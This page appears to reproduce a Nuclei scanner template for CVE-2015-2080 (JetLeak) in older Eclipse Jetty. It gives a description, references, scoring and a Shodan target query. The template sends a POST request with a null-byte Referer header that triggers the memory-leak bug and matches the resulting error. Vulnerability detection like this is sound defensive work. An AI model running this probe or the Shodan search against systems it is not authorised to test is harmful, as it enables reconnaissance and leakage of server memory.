CVE-2015-2080: Eclipse Jetty <9.2.9.v20150224 - Sensitive Information Leakage

2025-08-01 Eclipse Jetty PoC Public

Description

Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header.

PoC

id: CVE-2015-2080

info:
  name: Eclipse Jetty <9.2.9.v20150224 - Sensitive Information Leakage
  author: pikpikcu
  severity: high
  description: Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header.
  impact: |
    Remote attackers can retrieve sensitive information from process memory, leading to potential data leakage.
  remediation: |
    Update to version 9.2.9.v20150224 or later.
  reference:
    - https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md
    - https://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
    - http://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2080
    - http://dev.eclipse.org/mhonarc/lists/jetty-announce/msg00074.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-2080
    cwe-id: CWE-200
    epss-score: 0.75441
    epss-percentile: 0.99489
    cpe: cpe:2.3:o:fedoraproject:fedora:22:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fedoraproject
    product: fedora
    shodan-query: cpe:"cpe:2.3:o:fedoraproject:fedora"
  tags: cve2015,cve,jetty,packetstorm,fedoraproject,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}"

    headers:
      Referer: \x00

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Illegal character 0x0 in state"

      - type: status
        status:
          - 400
# digest: 4a0a0047304502207ecd2c45b1d5e8208ffa8efb9dbd6058be90859bf11c7460241032a0a627970d02210086a16b739810f6a0648a0fefa067f8d520190e2c801f60efe92a78eb5181884c:922c64590222798bb761d5b6d8e72950

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